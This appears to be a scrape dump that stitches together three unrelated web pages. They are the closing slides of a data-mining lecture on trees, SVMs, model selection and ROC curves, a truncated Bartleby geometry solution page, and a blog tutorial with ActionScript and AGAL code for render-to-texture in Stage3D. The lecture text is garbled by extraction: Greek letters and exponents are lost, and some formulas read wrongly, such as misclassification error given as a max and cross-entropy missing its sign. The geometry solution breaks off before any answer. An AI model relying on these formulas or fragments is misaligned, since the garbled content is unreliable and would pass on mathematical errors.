Temperature > t1 t2 Blood Pressure > t2 Temperature t3 t1 Temperature>t3\n48. Decision Tree Pseudocode node = tree-design(Data = {X,C}) For i = 1 to d quality_variable(i) = quality_score(Xi, C) end node = {X_split, Threshold } for max{quality_variable} {Data_right, Data_left} = split(Data, X_split, Threshold) if node == leaf? return(node) else node_right = tree-design(Data_right) node_left = tree-design(Data_left) end end\n49. How to Choose the Right-Sized Tree? Predictive Error Error on Test Data Error on Training Data Size of Decision Tree Ideal Range for Tree Size\n50. Example with Real Data: Accuracy versus Tree Size From Tom Mitchell, Machine Learning, 1997\n51. Choosing a Good Tree for Prediction General idea grow a large tree prune it back to create a family of subtrees “weakest link” pruning score the subtrees and pick the best one Massive data sizes (e.g., n ~ 100k data points) use training data set to fit a set of trees use a validation data set to score the subtrees Smaller data sizes (e.g., n ~1k or less) use cross-validation use explicit penalty terms (e.g., Bayesian methods)\n52. Example: Spam Email Classification Data Set: (from the UCI Machine Learning Archive) 4601 email messages from 1999 Manually labelled as spam (60%), non-spam (40%) 54 features: percentage of words matching a specific word/character Business, address, internet, free, george, !, \\$, etc Average/longest/sum lengths of uninterrupted sequences of CAPS Error Rates (Hastie, Tibshirani, Friedman, 2001) Training: 3056 emails, Testing: 1536 emails Decision tree = 8.7% Logistic regression: error = 7.6% Naïve Bayes = 10% (typically)\n53. Data Mining Lectures Lectures 9/10: Classification Padhraic Smyth, UC Irvine\n54. Other Aspects of Classification Trees Why use binary splits? Multiway splits can be used, but cause fragmentation Linear combination splits? can produces small improvements optimization is much more difficult (need weights and split point) Trees are much less interpretable Model instability A small change in the data can lead to a completely different tree Model averaging techniques (like bagging) can be useful Tree “bias” Poor at approximating non-axis-parallel boundaries Producing rule sets from tree models (e.g., c5.0)\n55. Why Trees are useful in Practice Can handle high dimensional data builds a model using 1 dimension at time Can handle any type of input variables categorical, real-valued, etc most other methods require data of a single type (e.g., only real-valued) Trees are (somewhat) interpretable domain expert can “read off” the tree’s logic\n56. Limitations of Trees High Bias classification: piecewise linear boundaries, parallel to axes regression: piecewise constant surfaces Trees do not scale well to massive data sets (e.g., N in millions) repeated (unpredictable) access of subsets of the data High Variance trees can be “unstable” as a function of the sample e.g., small change in the data -> completely different tree causes two problems 1. High variance contributes to prediction error 2. High variance reduces interpretability Trees are good candidates for model combining Often used with boosting and bagging\n57. Variants of Decision Trees Random forests Boosted trees Bagging\n58. Ch. 15 Linear Classifiers: Which Hyperplane? Lots of possible solutions for weights. Some methods find a separating hyperplane, but not an optimal one [according to some criterion of expected goodness] Support Vector Machine (SVM) finds a “maximum margin” solution Maximizes the distance between the hyperplane and the “difficult points” close to decision boundary One intuition: if there are no points near the decision surface, then there are no very uncertain classification decisions\n59. Sec. 15.1 Support Vector Machine (SVM) Support vectors SVMs maximize the margin around the separating hyperplane. a.k.a. large margin classifiers The decision function is fully specified by a subset of training samples, the support vectors. Solving SVMs is a quadratic programmingoptimization problem (convex) Seen by many as the most successful current text classification method* Maximizes margin Narrower margin *but other discriminative methods often perform very similarly\n60. SVM Optimization Problem SVM optimization is a quadratic programming optimization problem Good news: convex function of unknowns, unique optimum Variety of well-known algorithms for finding this optimum Bad news: Quadratic programming in general scales as O(n3) In practice takes O(na), where a ~ 1.6 to 2 - e.g., Mining the Web: Discovering Knowledge from Hypertext data, S. Chakrabarti, Chapter 5, p166) Faster methods also available, specialized for SVMs E.g., cutting plane method of Joachims, 2006\n61. Simple models (can be effective) Logistic regression Naïve Bayes K nearest-neighbors Decision trees Good for high-dimensional problems with different data types More sophisticated: Support vector machines Boosting (e.g., boosting with naïve Bayes or with decision stumps) Many tradeoffs in interpretability, score functions, etc Overall Summary on Classification Algorithms\n62. Model Averaging Can average over parameters and models E.g., weighted linear combination of predictions from multiple models y = Swkyk Why? Any predictions from a point estimate of parameters or a single model has only a small chance of the being the best Averaging makes our predictions more stable and less sensitive to random variations in a particular data set (good for less stable models like trees)\n63. Additional Reading Elements of Statistical Learning, T. Hastie, R. Tibshirani, and J. Friedman, Springer Verlag, 2009 (2nded) Classification Trees, Breiman, Friedman, Olshen, and Stone, Wadsworth Press, 1984. SVMs T. Joachims, Learning to Classify Text using Support Vector Machines. Kluwer, 2002.\n64. Model Selection\n65. Quote from G. P. BoxAll models are wrong but some are useful\n66. Example: selecting the best subset of k predictors Linear regression: find the best subset of k variables to put in model This is a generic problem when p is large(arises with all types of models, not just linear regression) Now we have models with different complexity.. E.g., p models with a single variable p(p-1)/2 models with 2 variables, etc… 2p possible models in total Can think of space of models as a lattice Note that when we add or delete a variable, the optimal weights on the other variables will change in general k best is not the same as the best k individual variables Aside: what does “best” mean here? (will return to this shortly…)\n67. Search Problem How can we search over all 2p possible models? exhaustive search is clearly infeasible Heuristic search is used to search over model space: Forward search (greedy) Backward search (greedy) Generalizations (add or delete) Think of operators in search space Branch and bound techniques This type of variable selection problem is common to many data mining algorithms Outer loop that searches over variable combinations Inner loop that evaluates each combination\n68. Empirical Learning Squared Error score (as an example: we could use other scores)E(q) = Si[y(i)– f(x(i) ; q)]2 where E(q) is defined on the training data D We are really interested in finding the f(x; q) that best predicts y on futuredata Empirical learning Minimize E(q) on the training data Dtrain If Dtrain is large and model is simple we are assuming that the best f on training data is also the best predictor f on future test data Dtest\n69. Complexity versus Goodness of Fit Training data y x\n70. Complexity versus Goodness of Fit Too simple? Training data y y x x\n71. Complexity versus Goodness of Fit Too simple? Training data y y x x Too complex ? y x\n72. Complexity versus Goodness of Fit Too simple? Training data y y x x Too complex ? About right ? y y x x\n73. Complexity and Generalization ErrorFunction e.g., squared error Etest(q) Etrain(q) Complexity = number of free parameters in the model Optimal model complexity\n74. Bias and Variance in Models True Model Best Model in our set Set of all models we are considering\n75. Bias and Variance in Models True Model Best Model in our set This distance between the true model and our model is the bias Set of all models we are considering\n76. Bias and Variance in Models In practice, given different data sets of finite size we could find other suboptimal models. This is model variance True Model Best Model in our set This distance between the true model and our model is the bias Set of all models we are considering\n77. What happens if we decrease the Bias? True Model The variance has now increased significantly There is a much greater chance that we will overfit Set of all models we are considering\n78. Complexity and Generalization Error Function e.g., squared error Etest(q) Etrain(q) High bias Low variance Low bias High variance\n79. Complexity versus Goodness of Fit Too simple? Training data y y x x Too complex ? About right ? y y x x\n80. Defining what “best” means How do we measure “best” empirically? Best performance on the training data? K = p will be best (i.e., use all variables), e.g., p=10,000 So this is not useful in general Performance on the training data will in general be optimistic Practical Alternatives: Measure performance on a single validation set Measure performance using multiple validation sets Cross-validation Add a penalty term to the score function that “corrects” for optimism E.g., “regularized” regression: SSE + l sum of weights squared\n81. Cross Validation Methodology If you have a relatively small data set, dividing the data into train, validation, and test sets may be inefficient and noisy An alternative is “V-fold cross-validation”, e.g., V =10 Partition the data into 10 disjoint subsets, points assigned randomly to each subset Train the model 10 times, each time leaving out one of the subsets For each trained model, evaluate accuracy on the left-out subset Cross-validated accuracy = average accuracy on the 10 left-out subsets In effect this simulated the train/test idea, but does it multiple times to combat the effects of noise in the training and test sets Widely used in practice. Computationally expensive.\n82. Evaluating Predictive Models\n83. Evaluating Classifiers Evaluate on independent test data (as with regression) Measures of performance on test data: Classification accuracy (or error) or cost function if “costs” of errors are not symmetric Confusion matrices: K x K matrix where entry(i,j) contains number of test examples that were predicted to be class i, and truly belonged to class j Diagonal elements = examples classified correctly Off-diagonal elements = misclassified examples Useful with more than 2 classes for figuring out which classes are most “confused” Log-probability score on test data Useful if we want to measure how good (well-callibrated) p(c|x) estimates are Ranking performance How well does a classifier rank new examples? Receiver-operating characteristics Lift curves\n84. Imbalanced Class Distributions Common in data mining to have one class be much less likely than the others e.g., 0.1% of examples are fraudulent or have a disease If we train a standard classifier on a random sample of data it is very difficult to beat the “majority classifier” in terms of accuracy Approaches: Stratified sampling: artificially create training data with 50% of each class being present, and then “correct” for this in prediction E.g., learn p(x|c) on stratified data and use true p( c ) when predicting with a probabilistic model Use a different score function: We are often interested in scoring/screening/ranking cases when using the model Thus, scores such as “how many of the class of interest are ranked in the top 1% of predictions” may be more relevant than overall accuracy (e.g., in document retrieval)\n85. Ranking and Lift Curves Many problems where we are interested in ranking examples in terms of how likely they are to the “positive” class E.g., credit scoring, fraud detection, medical screening, document retrieval E.g., use classifier to rank N test examples according to p(c|x) and then pick the top K, where K is much smaller than N Lift curve n = number of true positives that appear in top K% of ranked list r = number of true positives that would appear if we ranked randomly n/r is the “lift” provided by the classifier for top K% e.g., K = 10%, r = 200, n = 300, lift = 1.5, or 50% increase in lift Random ranking gives lift = 1, or 0% increase in lift\n86. Target variable = response/no-response from customers Training and test sets each of size 250k Standard model had 80 variables: variable selection reduced this to 7\n87. Receiver Operating Characteristic (ROC) plots Rank the N test examples by p(c|x) or whatever real-number our classifier produces that indicates likelihood of belonging to class 1 Let k = number of true class 1 examples, and m = number of true class 0 examples, and k+m = N For all possible thresholds t for this ranked list count number of true positives kt true positive rate = kt /k count number of “false alarms”, mt false positive rate = mt /m ROC plot = plot of true positive rate kt v false positive rate mt\n88. ROC Example N = 10 examples, k = 6 true class 1’s, m = 4 class 0’s The first column is an example of a ranking produced by a classifier\n89. ROC Plot Area under curve (AUC) often used as a metric to summarize ROC Online examples at http://www.anaesthetist.com/mnm/stats/roc/ Diagonal line corresponds to random ranking\n90. Calibration In addition to ranking we may be interested in how accurate our estimates of p(c|x) are, i.e., if the model says p(c|x) = 0.9, how accurate is this number? Calibration: a model is well-calibrated if its probabilistic predictions match real-world empirical frequencies i.e., if a classifier predicts p(c|x) = 0.9 for 100 examples, then on average we would expect about 90 of these examples to belong to class c, and 10 not to. We can estimate calibration curves by binning a classifier’s probabilistic predictions, and measuring how many\n91. Example of Calibration in Probabilistic Prediction\n92. General Comments on Data Mining\n93. Myths and Legends in Data Mining “Data analysis can be fully automated” human judgement is critical in almost all applications “semi-automation” is however very useful\n94. Myths and Legends in Data Mining “Data analysis can be fully automated” human judgement is critical in almost all applications “semi-automation” is however very useful “With massive data sets you don’t need statistics” massiveness brings heterogeneity and structure even more statistics!\n95. Myths and Legends in Data Mining “Data analysis can be fully automated” human judgement is critical in almost all applications “semi-automation” is however very useful “With massive data sets you don’t need statistics” massiveness brings heterogeneity and structure even more statistics! “Data mining is a silver bullet for every open problem….” data mining has it strengths and weaknesses main strength: leverages data effectively main weakness: works independently of prior knowledge\n96. Data Mining Projects in Practice 6 0 5 0 4 0 Effort (%) 3 0 2 0 1 0 0 B u s i n e s s D a t a P r e p a r a t i o n D a t a M i n i n g A n a l y s i s & O b j e c t i v e s A s s i m i l a t i o n D e t e r m i n a t i o n\n97. What I did not mention….. Awkward questions…. should algorithms interface directly with relational databases? how to handle missing data? how do you define what the variables are? how do you validate data when you have 5000 different variables? how to match a model/algorithm to a given algorithm? how to update a predictive model over time? when is it ok to subsample to fit the data in main memory? when should one stop trying to improve the model? how can one explain the results to the customer? does it really require a team of 6 Phds to build each successful application?\n98. Conferences Related to Data Mining ACM SIGKDD Conference, IEEE ICDM Conference more focus on algorithms and applications than statistics ICML, Machine Learning Conference algorithm focused, less applications ACM SIGMOD/VLDB Conferences Database-view of data mining NIPS more statistical/probabilistic than the other conferences\n99. Journals Related to Data Mining Journal of Data Mining and Knowledge Discovery Journal of Machine Learning Research electronic journal, www.jmlr.org Machine Learning Journal IEEE Transactions on Pattern Analysis and Machine Intelligence Journal of Computational Graphics and Statistics\n100. Web Resources on Data Mining Knowledge Discovery Nuggets Web site http://www.kdnuggets.com/ the most authoritative site on data mining biweekly email newsletter with 10k subscribers on topics broadly related to data mining extensive set of Web links to FAQs, publications, conferences, commercial companies, data sites, jobs, etc UC Irvine Machine Learning and KDD Data Archives http://www.ics.uci.edu/~mlearn/MLRepository.html Benchmark data archives for research purposes\n101. General References on Data Mining Basic ideas: Programming Collective Intelligence T. Segaran, O’ Reilly Media, 2007 …a bit more academic Principles of Data MiningHand, Mannila, Smyth, MIT Press, 2001 … more advanced The Elements of Statistical Learning Hastie, Tibshirani, Friedman, Springer Verlag, 2009 (2nded)\n102. Software Packages Commercial packages SAS Statistica Many others – see kdnuggets.org Free packages Weka Programming environments R MATLAB (commercial) Python\n103. Class Projects Project proposal due Wednesday May 2nd Final project report due Monday May 21st Details at http://www.ics.uci.edu/~smyth/courses/bmi/project_guidelines.html We will discuss in more detail next week\n104. BACKUP SLIDES\n105. optional Binary split selection criteria Total error across 2 branches Q(t) = N1Q1(t) + N2Q2(t), where t is the threshold and Q(t) is the error in a branch Select the threshold t such that the total error is minimized Examples of error criteria (2-class case for simplicity) Let p1 be the proportion of positive class data points for branch 1 Misclassification Error Q1(t) = max { 1 - p1, p1 } Gini index: Q1(t) = p1 (1 - p1) Cross-entropy: Q1(t) = p1 log p1 + (1 - p1 ) log (1 - p1 ) Cross-entropy and Gini work better in practice than direct minimization of classification error at each node\n106. optional Computational Complexity for a Binary Tree At the root node, for each of p variables Sort all values, compute quality for each split O(pN log N) time for real-valued or ordinal variables Subsequent internal node operations each take O(N’ log N’) This assumes data are in main memory If data are on disk then repeated access of subsets at different nodes may be very slow (impossible to pre-index) Note: time difference between retrieving data in RAM and data on disk may be O(103) or more.\n107. optional Splitting on a nominal attribute Nominal attribute with m values e.g., the name of a state or a city in marketing data 2m-1 possible subsets => exhaustive search is O(2m-1) For small m, a simple approach is to branch on specific values But for large m this may not work well Neat trick for the 2-class problem: For each predictor value calculate the proportion of class 1’s Order the m values according to these proportions Now treat as an ordinal variable and select the best split (linear in m) This gives the optimal split for the Gini index, among all possible 2m-1 splits (Breiman et al, 1984).\n108. Multivariate Linear Regression Task: predict real-valued Y, given real-valued vector X Objective function, e.g., least squares is often used E(q) = Si[y(i)– f(x(i) ; q)]2 Model structure: linearf(x ; q) = a0 + Sajxj Model parameters = q = {a0, a1, …… ap} predicted value target value\n109. optional Note that we can write E(q) = Si [y(i)– Sajxj]2 = Si ei2 = e’ e where e = y – X q = (y – X q)’ (y – X q) (p+1) x 1 vector of parameter values y = N x 1 vector of target values N x (p+1) vector of input values\n110. optional E(q) = S e2 = e’ e = (y – X q)’ (y – X q) = y’ y – q’ X’ y – y’ X q + q’ X’ X q = y’ y – 2 q’ X’ y + q’ X’ X q Taking derivative of E(q) with respect to the components of q gives…. dE/dq = -2 X’ y + 2 X’ X q Set this to 0 to find the minimum of E as a function of q …\n111. optional Set to 0 to find the minimum of Eas a function of q … - 2 X’ y + 2 X’ X q = 0 X’ X q = X’ y (known in statistics as the Normal Equations) Letting X’ X = C, and X’ y = b, we have C q = b, i.e., a set of linear equations We could solve this directly, e.g., by matrix inversion q = C-1 b = ( X’ X )-1 X’ y\n112. optional Solving for the q’s Problem is equivalent to inverting X’ X matrix Inverse does not exist if matrix is not of full rank E.g., if 1 column is a linear combination of another (collinearity) Note that X’X is closely related to the covariance of the X data So we are in trouble if 2 or more variables are perfectly correlated Numerical problems can also occur if variables are almost collinear Equivalent to solving a system of p linear equations Many good numerical methods for doing this, e.g., Gaussian elimination, LU decomposition, etc These are numerically more stable than direct inversion Alternative: gradient descent Compute gradient and move downhill ..this is better than direct solutions for some problems (e.g., very sparse data)\n113. Comments on Multivariate Linear Regression Prediction model is a linear function of the parameters Error function: quadratic in predictions and parameters Derivative of score is linear in the parameters Leads to a linear algebra optimization problem, i.e., C q = b Model structure is simple…. p-1 dimensional hyperplane in p-dimensions Linear weights => interpretability Often useful as a baseline model e.g., to compare more complex models to Note: even if it’s the wrong model for the data (e.g., a poor fit) it can still be useful for prediction\n114. Model Evaluation Let MSEtest be the mean-square error of our learned predictor function, evaluated on test data Useful to report MSEtest / MSEbaseline e.g., where MSEbaseline = Si [y(i)– my]2 (on test data points) where my = mean of y values on the training data ideally we would like MSEtest / MSEbaseline to be much less than 1. Can also plot histograms of individual errors: MSE might be dominated by outliers\n115. Non-linear (both model and parameters) We can generalize further to models that are nonlinear in all aspects f(x ; q) = a0 + Sak gk(bk0 +Sbkj xj) where the g’s are non-linear functions with fixed functional forms. In machine learning this is called a neural network In statistics this might be referred to as a generalized linear model or projection-pursuit regression For almost any score function of interest, e.g., squared error, the score function is a non-linear function of the parameters. Closed form (analytical) solutions are rare. Thus, we have a multivariate non-linear optimization problem (which may be quite difficult!)\n116. Other non-linear models Splines “patch” together different low-order polynomials over different parts of the x-space Works well in 1 dimension, less well in higher dimensions Memory-based modelsy’ = S w(x’,x) y, where y’s are from the training data and where w(x’,x) = function of distance of x from x’ Local linear regression y’ = a0 + Sajxj , where the alpha’s are fit at prediction time just to the (y,x) pairs that are close to x’\n117. Another Approach with Many Predictors: Regularization Modified score function: Sl(q) = Si [y(i)– f(x(i) ; q) ]2 + lSqj2 The second term is for “regularization” When we minimize -> encourages keeping the qj‘s near 0 Bayesian interpretation: minimizing - log P(data|q) - log P(q) L1 regularization Sl(q) = Si [y(i)– f(x(i) ; q) ]2 + lS | qj| (basis of popular “Lasso” method, e.g., see Rob Tibshirani’s page on lasso methods: http://www-stat.stanford.edu/~tibs/lasso.html)\n118. Time-series prediction as regression Measurements over time x1,…… xt We want to predict xt+1 given x1,…… xt Autoregressive model xt+1 = f( x1,…… xt ; q ) = Sak xt-k Number of coefficients K = memory of the model Can take advantage of regression techniques in general to solve this problem (e.g., linear in parameters, score function = squared error, etc) Generalizations Vector x Non-linear function instead of linear Add in terms for time-trend (linear, seasonal), for “jumps”, etc\n119. Other aspects of regression Diagnostics Useful in low dimensions Weighted regression Useful when rows have different weights Different score functions E.g. absolute error, or additive noise varies as a function of x Predicting y values constrained to a certain range, e.g., y > 0, or 0 < y < 1 Predicting binary y values Regression as a generalization of classification\n120. Decision Trees are not stable Moving just one example slightly may lead to quite different trees and space partition Lack of stability against small perturbation of data. Figure from Duda, Hart & Stork, Chap. 8"
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https://www.bartleby.com/solution-answer/chapter-56-problem-14e-elementary-geometry-for-college-students-6th-edition/9781285195698/given-rw-bisects-srt-do-the-following-equalities-hold-a-rsswrtwt-b-msmt/32faa107-757c-11e9-8385-02ee952b546e | [
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"Chapter 5.6, Problem 14E",
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"### Elementary Geometry for College St...\n\n6th Edition\nDaniel C. Alexander + 1 other\nISBN: 9781285195698\n\n#### Solutions\n\nChapter\nSection",
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"### Elementary Geometry for College St...\n\n6th Edition\nDaniel C. Alexander + 1 other\nISBN: 9781285195698\nTextbook Problem\n1 views\n\n# Given: R W → bisects ∠ S R T Do the following equalities hold? a) R S S W = R T W T b) m ∠ S = m ∠ T",
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"To determine\n\na)\n\nTo check: Whether the equality RSSW=RTWT holds or not.\n\nExplanation\n\nGiven:\n\nRW bisects SRT.\n\nTheorem used:\n\nAngle bisector theorem:\n\nIf a ray bisects one angle of a triangle, then it divides the opposite side into segments whose lengths are proportional to the lengths of the two sides that form the bisected angle.\n\nCalculation:\n\nGiven: RW bisects SRT\n\nTo determine\n\nb)\n\nTo check: Whether the equality mS=mT holds or not.\n\n### Still sussing out bartleby?\n\nCheck out a sample textbook solution.\n\nSee a sample solution\n\n#### The Solution to Your Study Problems\n\nBartleby provides explanations to thousands of textbook problems written by our experts, many with advanced degrees!\n\nGet Started\n\n#### Use an inverse matrix to solve\n\nMathematical Applications for the Management, Life, and Social Sciences\n\n#### Evaluate the indefinite integral. dxax+b(a0)\n\nSingle Variable Calculus: Early Transcendentals\n\n#### ex(ex)2 = a) ex3 b) e3x c) 3ex d) e4x\n\nStudy Guide for Stewart's Single Variable Calculus: Early Transcendentals, 8th",
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http://mousman.com/agal/?p=621 | [
"# render to texture and « vectorized » textures with stage3D – Agal\n\nMoussa Dembélé – www.mousman.com- [email protected]\n\nWhile I was on my way to learn how to make shadows (and it’s a big topic),\nI met the rendering to texture method.\nAnd as I was digging into this technic,\nI decided to delay my journey in shadowland and to paste some time exploring\nthe rendered textures and texture projections because it’s the first step of\nsome great technics such as light mapping, dynamic displacement map, of course shadows , etc…\n\nSo I started to play with render to texture and decided to experiment this method to do what framework like starling\ndo but with 3d models instead of bitmap.\nwhy ?\nBecause I could use the model projected a little bit like we use bitmapdata,\nrendering it once to a texture and then project it to as many other models I want,\nand other things like mirrors and…\nif we zoom to the model projected the same way we zoom to the model on which the texture is projected,\nit will work as a vectorized texture !!!\n\nEasier to say than to do.\nIt took me time and several headaches to achieve it.\nbut … here it is :\n\ndrag to rotate and use mousewheel to zoom.\n\nSorry, either Adobe flash is not installed or you do not have it enabled\n\nSo how to do this ?\nperspective projection\n\nThe principle :\n\nThe major magic trick and I’m kind of proud to have found it, (let me know if I shouldn’t)\nis to use the matrix of the model on which the texture is projected (let’s call it the plan) to dynamically compute the uv mapping.\nLet me explain it :\nThe x,y,z coordinates of the plan are calculated with a model-view-projection matrix in the shader.\nOnce divided by w these coordinates will stand in the clip space -that is to say- between -1 and 1 for x and y,\n0 and 1 for z.\nAs we’re looking for u,v values we will need only x and y.\nWhat we have to do is adding 1 to to x, y and divide by 2.\nNow we have coordinates bewteen 0 and 1 exactly what we want",
null,
"(the y coordinates has to be negate first).\n\nHum…well..okay we have some coordinates that could be uv mapping but what are these coordinates exactly ?\nThese coordinates are the x and y value of the plan projected to the screen if the screen had a width and a height of 1.\n\nSecond trick :\nIf we can put the model projected at the same place and orientation as the plan,\nthe u,v mapping will fit exactly ! So simple, so beautiful … but this part has given me some headaches to figured out (simple doesn’ t mean always easy)\nWell… by the way it will not fit so exactly in fact, at least not the way we want.\nBecause the z value of the plan is not the one we necessarily want for the model.\n\nSo next trick :\nfirst we use two cameras,\none for the plan, one for the model.\nWe put the model as we want it to be in the space.\nIn order for the model to be drawn on the plan exactly as it is in the scene,\nwe must place the plan at a precise position :\nIt must be at the position where it fit the screen exactly. Let’s call it the zoom frontier.\nWe can calculate this position (we’ll see how later).\nNow we know this z position, we can move the plan wherever we want, calculate the ratio of this move in regards to the zoom frontier,\nand apply this ratio the the model.\nIn my exemple I only move the z position of the plan.\nThe same has to be done with x and y if we want to change them also.\n\nLast trick :\nwhen rotating the model accordingly to the plan a problem remains because\nthe model doesn’t act as a plan, it’s a 3D model.\nSo what we have to do is to flatten it once rotated.\nAfter that we can render it to a texture and it will work just fine",
null,
"well… almost… because if we flatten it to much we will loose the z-sorting.\nSo we have to flatten it just enough for it to act like a plan but keep the z-sorting.\nNot perfect but it works.\n\nAnd … that’s it !\nCooool.\n\nNow the details with some code explanation.\n\nCalculate the « zoom frontier » :\n\nIn order to do that we need to get the size of the plan.\nFor more simplicity in this article I just define them in the computeZoomFrontier() method (in World.as)\nvar deltax:Number = 178;\nvar deltay:Number = 178;\n\nI create then a Vector3D with width and height of the plan as x and y,\nand apply the perpective matrix to this vector.\nIf you have read the article made by Marco Scabia you know that the result of applying the perspective matrix\nresults in a xP’ value that is equal to K1*xW and an yP’ value equal to K2*xW where\n« K1 and K2 are constants that are derived from geometrical factors such as the aspect ratio of your projection plane (your viewport) and the « field of view » of your eye, which takes into account the degree of wide-angle vision. »\nand xW and yW are coordinates of a point in the world :\n\nxP’ = K1 * xW\nyP’ = K2 * yW\n\nThese values once divide by zW will fit in the clip-space (between -1 and 1) :\nxP = xP’ / zW\nyP = yP’ / zW\n\nWhat we are looking is a value for xP and yP equal to 2 (because clip space is between -1 and 1) :\n2 = xP’ / zW\n2 = yP’ / zW\n\nWe can now get the z value :\nzWx = xP’ / 2\nzWy = yP’ / 2\n\nThat’s it ,\nwe use the transformVector() method of the perspective matrix to our vector,\nand divide by two the resulting x and y values.\nWe just have to take the max of these two values and we have our zoom frontier.\n\nThe function in World.as :\n\n```private function computeZoomFrontier():void\n{\nvar meshPlan:IMMesh = _meshes;\nvar zx:Number;\nvar zy:Number;\n\nvar matrix:Matrix3D = new Matrix3D();\nmatrix.append(_projectionMatrix);\n\nvar minX:Number = _lowestHighestPlan.lowestX;\nvar maxX:Number = _lowestHighestPlan.highestX;\nvar minY:Number = _lowestHighestPlan.lowestY;\nvar maxY:Number = _lowestHighestPlan.highestY;\n\nvar deltax:Number = maxX - minX;\nvar deltay:Number = maxY - minY;\n\nvar vec1:Vector3D = new Vector3D(deltax, deltay);\nvec1 = matrix.transformVector(vec1);\n\nzx = vec1.x / 2;\nzy = vec1.y / 2;\n\n_zZoomFrontier = Math.max(zx , zy);\n}```\n\nFlatten the model :\nIt’s a classical phong shader with some modifications.\n\nWe can’t apply the model-view-projection matrix directly to the model.\nWe need to apply first the model matrix (line 72),\nthen flatten the model (line 73),\nand after apply the view-projection martrix (line 75).\n\n```\"mov vt0 ,va0 \\n\" + // x,y,z coordinates\n\"m44 vt0 ,vt0 ,vc4 \\n\" + // apply model matrix\n\"div vt0.z ,vt0.z ,vc12.x \\n\" + // flattening model\n\"m44 vt0 ,vt0 ,vc13 \\n\" + // texture linked positionment matrix\n\"m44 vt0 ,vt0 ,vc0 \\n\" + // transform vertex x,y,z\n\"mov op ,vt0 \\n\" + //```\n\nBecause I want the model to be in the same orientation than the plan,\nI also give a matrix representing the plan rotation to MPhongFlatShader and apply it to the model.\n\nNow let’s take a look at the render loop (in World.as)\n\nline form 352 to 357 is about calculating the model position according to the zoom in the plan\n\n```var deltaZ:Number = meshPlan.modelMatrix.position.z - meshPlan.cameraMatrix.position.z;\nzoomRatio = _zZoomFrontier / deltaZ;\nvar cx:Number = meshModel.cameraMatrix.position.x;\nvar cy:Number = meshModel.cameraMatrix.position.y;\nvar cz:Number = _originalModelCameraZ / zoomRatio;\nmeshModel.cameraMatrix.position = new Vector3D(cx,cy,cz);```\n\nIn the line 352 I calculate the distance between the plan and it’s camera,\nthen in line 353 I calculate the ratio that I’ll use in line 356 to set the model position.\n\nLine 366 and 367 are just a constant rotation I apply to the model.\n\n```var axis:Vector3D = new Vector3D(0, 1, 0);\nmodelMatrix.appendRotation(2, axis, modelMatrix.position);```\n\nFrom line 370 to 374 I extract a rotation matrix from the plan and give it to the model.\n(The rotation matrix instance is given in line 185 : mesh.texMatrix = _textMatrix;)\n\n```var quat:Vector3D = meshPlan.modelMatrix.decompose(Orientation3D.QUATERNION);\n_textMatrix.identity();\n_vecsTextMatrix = _textMatrix.decompose(Orientation3D.QUATERNION);\n_vecsTextMatrix = quat;\n_textMatrix.recompose(_vecsTextMatrix, Orientation3D.QUATERNION);```\n\nFrom line 376 to 381 I compute the model-view-projection of the model,\nand in fact it is just a view-projection matrix ( remember we can’t apply the model-view-projection matrix directly to the model)\n\nFrom line 386 to 396 I draw the model and the plan\n(model in a renderToTexure, plan in the backbuffer)\n\n```_context.setRenderToTexture(_textureMap,true);\n_context.clear(0.9, 0.9, 0.9, 1);\nmeshModel.drawTriangles();\n\n// draw plan\n//set render target to backbuffer\n_context.setRenderToBackBuffer();\n_context.clear(_bgColor.red, _bgColor.green, _bgColor.blue, 1);\nmeshPlan.drawTriangles();\n\n_context.present();```\n##### See the complete render loop method\n\nComplete render loop :\n\n```public function render(e:Event ):void\n{\nif ( !_context ) return;\n\nvar rot:Number;\nvar rx:Number;\nvar ry:Number;\nvar rz:Number;\nvar meshModel:IMMesh = _meshes;\nvar meshPlan:PlanMesh = _meshes as PlanMesh;\nvar modelMatrix:Matrix3D;\nvar planRation:Number;\nvar zoomRatio:Number;\nvar modelPosition:Vector3D;\nvar matrix:Matrix3D;\n\n///////////////////\n// plan model\n//////////////////\n// move plan\nif (!_mouseDown) {\nmodelMatrix = meshPlan.modelMatrix;\nrx = (t/4 * 0.35) % 360 ;\nry = (t/4 * 0.35) % 360 ;\nrz = (t / 4 * 0.35) % 360 ;\n//moving plan\nmodelMatrix.appendRotation(rx, Vector3D.X_AXIS,modelMatrix.position);\nmodelMatrix.appendRotation(ry, Vector3D.Y_AXIS,modelMatrix.position);\nmodelMatrix.appendRotation(rz, Vector3D.Z_AXIS,modelMatrix.position);\n\n}\nelse {\n// moving plan\n_arcBall.update();\n}\n\n//compute the modelViewProjection matrix\nmeshPlan.modelViewProjection = computeMVMatrix(meshPlan);\n\n// determining zoome ratio\nvar deltaZ:Number = meshPlan.modelMatrix.position.z - meshPlan.cameraMatrix.position.z;\nzoomRatio = _zZoomFrontier / deltaZ;\nvar cx:Number = meshModel.cameraMatrix.position.x;\nvar cy:Number = meshModel.cameraMatrix.position.y;\nvar cz:Number = _originalModelCameraZ / zoomRatio;\nmeshModel.cameraMatrix.position = new Vector3D(cx,cy,cz);\n\n///////////////////\n// textured model\n//////////////////\nmodelMatrix = meshModel.modelMatrix;\n\n// rotating the model\nvar axis:Vector3D = new Vector3D(0, 1, 0);\nmodelMatrix.appendRotation(2, axis, modelMatrix.position);\n\n// apply plan rotation to model\nvar quat:Vector3D = meshPlan.modelMatrix.decompose(Orientation3D.QUATERNION);\n_textMatrix.identity();\n_vecsTextMatrix = _textMatrix.decompose(Orientation3D.QUATERNION);\n_vecsTextMatrix = quat;\n_textMatrix.recompose(_vecsTextMatrix, Orientation3D.QUATERNION);\n\nmatrix = new Matrix3D();\nvar viewMatrix:Matrix3D = meshModel.cameraMatrix.clone();\nviewMatrix.invert();\nmatrix.append(viewMatrix);\nmatrix.append(_projectionMatrix);\nmeshModel.modelViewProjection = matrix;\n\n// draw model\n//set render target to texture\n_context.setRenderToTexture(_textureMap,true);\n_context.clear(0.9, 0.9, 0.9, 1);\nmeshModel.drawTriangles();\n\n// draw plan\n//set render target to backbuffer\n_context.setRenderToBackBuffer();\n_context.clear(_bgColor.red, _bgColor.green, _bgColor.blue, 1);\nmeshPlan.drawTriangles();\n\n_context.present();\n\n// stats\nfpsTicks++;\nvar now:uint = getTimer();\nvar delta:uint = now - fpsLast;\n// only update the display once a second\nif (delta >= 1000){\nvar fps:int = (0.5 + fpsTicks / delta * 1000);\nfpsTf.text = fps + \"/60 fps\";\nfpsTicks = 0;\nfpsLast = now;\n}\n}```\n\nDone !!\nHourrraaa !\n\nAny questions, any comments, don’t hesitate !\n\n### 4 comments to render to texture and « vectorized » textures with stage3D – Agal\n\n•",
